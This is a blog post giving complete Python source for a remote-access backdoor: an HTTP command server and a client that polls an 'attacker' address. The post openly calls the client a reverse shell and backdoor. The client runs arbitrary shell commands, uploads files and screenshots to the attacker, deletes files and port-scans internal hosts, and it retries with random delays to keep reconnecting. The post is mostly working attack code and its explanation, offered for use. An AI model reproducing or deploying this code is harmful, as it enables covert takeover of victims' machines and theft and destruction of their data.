banner
andrewji8

Being towards death

Heed not to the tree-rustling and leaf-lashing rain, Why not stroll along, whistle and sing under its rein. Lighter and better suited than horses are straw sandals and a bamboo staff, Who's afraid? A palm-leaf plaited cape provides enough to misty weather in life sustain. A thorny spring breeze sobers up the spirit, I feel a slight chill, The setting sun over the mountain offers greetings still. Looking back over the bleak passage survived, The return in time Shall not be affected by windswept rain or shine.
telegram
twitter
github

Python writes server-side remote execution CMD commands

image

import http.server
import os,cgi

localhost= '127.0.0.1'    # Local IP, not public IP
port= 8081    # Listening port

class MyHandler(http.server.BaseHTTPRequestHandler):
    global hostMachine    # Host machine
    hostMachine=0
    def do_GET(self):    # Handle GET requests
        global hostMachine
        if hostMachine==0:
            hostMachine=1
            print('Host machine is online')
        command = input("<Potato>$ ")
        self.send_response(200)
        self.send_header("Content-type", "text/html")
        self.end_headers()
        self.wfile.write(command.encode())
        if command=='exit':
            print('[Result] This host is offline') 
            hostMachine=0
        print('\n')

    def do_POST(self):    # Handle POST requests
        if self.path == '/tmp':# File data handling
            try:
                ctype, pdict = cgi.parse_header(self.headers.get('Content-type'))
                if ctype == 'multipart/form-data':
                    fs = cgi.FieldStorage(fp=self.rfile, headers = self.headers, environ = {'REQUEST_METHOD' : 'POST'})
                else:
                    print('[Error] POST data format error')
                fs_data = fs['file'].file.read()
                fs_name = fs['name'].file.read().decode('gbk')
                with open('/s-'+fs_name, 'wb') as o:
                    print('[Information] Getting ........')
                    o.write(fs_data)
                    print('[Result] Saved to /s-'+fs_name)
                    self.send_response(200)
                    self.end_headers()
                    print('\n')
            except Exception as e:
                print(e)
            return

        self.send_response(200)
        self.end_headers()
        length = int(self.headers['Content-length'])
        postVar = self.rfile.read(length)
        print(postVar.decode('gbk','ignore'))

if __name__ == "__main__":
    httpd = http.server.HTTPServer((localhost, port), MyHandler)    # Set up a simple HTTP server
    try:
        httpd.serve_forever()
    except KeyboardInterrupt:
        print('\n'+'[Error] The server has been shut down')

This server code implements a simple HTTP server that can handle GET and POST requests and has some basic functionalities. This server allows remote users to send commands via GET requests and receive responses, as well as upload files via POST requests.

Here is a detailed introduction to your code:

Import modules and set listening address and port:

You first imported the required modules http.server, os, and cgi.

Defined the local IP address localhost and the listening port port.

Create a custom request handler class MyHandler:

The MyHandler class inherits from http.server.BaseHTTPRequestHandler to handle HTTP requests.

In the MyHandler class, you defined a global variable hostMachine to mark the online status of the host.

Handle GET requests (do_GET method):

When a GET request is received, the server prompts the user to input a command and retrieves the command via standard input (input).

If the host was previously offline, it marks it as online and prints a message.

The received command is sent back to the client in the form of an HTTP response with a status code of 200.

If the command is "exit", it prints an offline message and marks the host as offline.

Handle POST requests (do_POST method):

If the request path is "/tmp", it indicates that the client wants to upload a file.

Check the Content-Type of the request; if it is "multipart/form-data", use cgi.FieldStorage to handle the file upload.

The uploaded file will be saved on the server, with the filename starting with "/s-", and a success message will be sent to the client.

If an exception occurs, an error message will be printed.

Main program section:

In the if name == "main": section, you created a simple HTTP server bound to the local IP address and specified port.

Using http.server.HTTPServer to create a server object, listening on the specified address and port.

The server runs in an infinite loop, handling client requests until a keyboard interrupt (Ctrl+C) is captured, at which point it will shut down the server.

import requests
import os
import time
import random
import subprocess
import pyscreenshot
import socket

def connect(attackerIp):
    while True:
        try:
            req = requests.get(attackerIp)
            command = req.text.strip() # Get the command from the server and remove leading/trailing whitespace
            # Below are custom functionalities
            if command == 'exit':    # Exit the program
                return 1

            elif command.startswith('get'):    # Get file
                path = command.split(" ")[1]
                if os.path.exists(path):
                    url = f'{attackerIp}/tmp'
                    files = {'file': open(path, 'rb'), 'name': os.path.basename(path)}
                    r = requests.post(url, files=files)
                else:
                    r = requests.post(url=attackerIp, data='[Error] Specified file does not exist'.encode('gbk'))

            elif command == 'screenshot':    # Take screenshot
                try:
                    image = pyscreenshot.grab()
                    image.save("/kernel.png")
                    url = f'{attackerIp}/tmp'
                    files = {'file': open("/kernel.png", "rb"), 'name': os.path.basename("/kernel.png")}
                    r = requests.post(url, files=files)
                except Exception as e:
                    r = requests.post(url=attackerIp, data=str(e).encode('gbk'))

            elif command.startswith('remove'):    # Remove file
                filename = command.split(' ')[1]
                if os.path.exists(filename):
                    os.remove(filename)
                else:
                    r = requests.post(attackerIp, data="[Error] File does not exist".encode('gbk'))

            elif command.startswith('scan'):    # Horizontal scan
                try:
                    scan_result = ''
                    if len(command.split(" ")) > 2:
                        scan, ip, port = command.split(" ")
                    else:
                        port = command.split(" ")[1]
                        ip = '127.0.0.1'
                    scan_result = '\n'

                    defPort = list(range(1, 1001)) + [1433, 3306, 5432, 6379, 9200]  # Default scan ports
                    port = defPort if port == 'default' else port.split(',') if ',' in port else [port]

                    for p in port:
                        try:
                            with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
                                sock.settimeout(3)
                                result = sock.connect_ex((ip, int(p)))
                                if result == 0:
                                    scan_result += f"       [Open] {p}\n"
                        except Exception:
                            pass
                    r = requests.post(url=attackerIp, data=scan_result.encode('gbk'))
                except Exception:
                    r = requests.post(attackerIp, data="[Error] Scan port error".encode('gbk'))

            elif command.startswith('cd'):    # Change directory
                directory = command.split(' ')[1]
                try:
                    os.chdir(directory)
                    r = requests.post(attackerIp,
                                      data=f"[Result] Changed directory to {os.getcwd()}".encode('gbk'))
                except Exception:
                    r = requests.post(attackerIp, data="[Error] Unable to change directory".encode('gbk'))

            else:    # If not a shortcut command, execute the command
                try:
                    CMD = subprocess.run(command, shell=True, capture_output=True)
                    r = requests.post(url=attackerIp, data=CMD.stdout)
                    r = requests.post(url=attackerIp, data=CMD.stderr)
                except Exception:
                    pass

        except Exception as e:
            pass

if __name__ == '__main__':
    attackerIp = 'http://127.0.0.1:8081'       # Attacker's public IP: listening port
    while True:
        try:
            if connect(attackerIp) == 1:
                break
        except:
            time.sleep(int(random.randrange(1, 10)))    # No connection time interval detection

This client code implements a reverse shell and is a backdoor program that continuously connects to an attacker-specified IP address, receiving commands sent by the attacker and executing corresponding operations.

First, the code imports some necessary libraries, including requests for sending HTTP requests, os for file and directory operations, time for setting delays, random for generating random numbers, subprocess for executing external commands, pyscreenshot for taking screenshots, and socket for creating sockets for port scanning.

Next, a connect function is defined, which continuously loops to perform connection and command execution operations. Inside the loop, it uses the requests library to send an HTTP GET request to get the command sent by the attacker and removes leading and trailing whitespace from the command string. Then it executes the corresponding operation based on the command content.

The command parsing logic is as follows:

If the command is exit, the program exits.

If the command starts with get, it indicates getting a file, extracts the path from the command, and checks if the file exists. If the file exists, it uses the requests library to send an HTTP POST request to send the file to the attacker; otherwise, it sends an error message.

If the command is screenshot, it uses the pyscreenshot library to take a screenshot and save it as "/kernel.png", then sends it to the attacker.

If the command starts with remove, it indicates removing a file, extracts the filename from the command, and checks if the file exists. If the file exists, it uses the os.remove function to delete the file; otherwise, it sends an error message.

If the command starts with scan, it indicates performing a port scan. The command may have two forms: scan or scan default. It scans the ports based on the parameters in the command and sends the information about open ports to the attacker.

If the command starts with cd, it indicates changing the directory, extracts the directory name from the command, and uses the os.chdir function to change the directory, then sends the result to the attacker.

If none of the above conditions are met, it executes the command using the subprocess.run function and sends the execution result to the attacker.

Finally, in the if name == 'main': section, it defines the attacker's IP address and port and continuously connects by calling the connect function. If the connect function returns 1, it exits the program. In case of connection failure, it uses the time.sleep function to set a random sleep time to avoid frequent connections.
The server calls the client to execute CMD commands:

image

Loading...
Ownership of this post data is guaranteed by blockchain and smart contracts to the creator alone.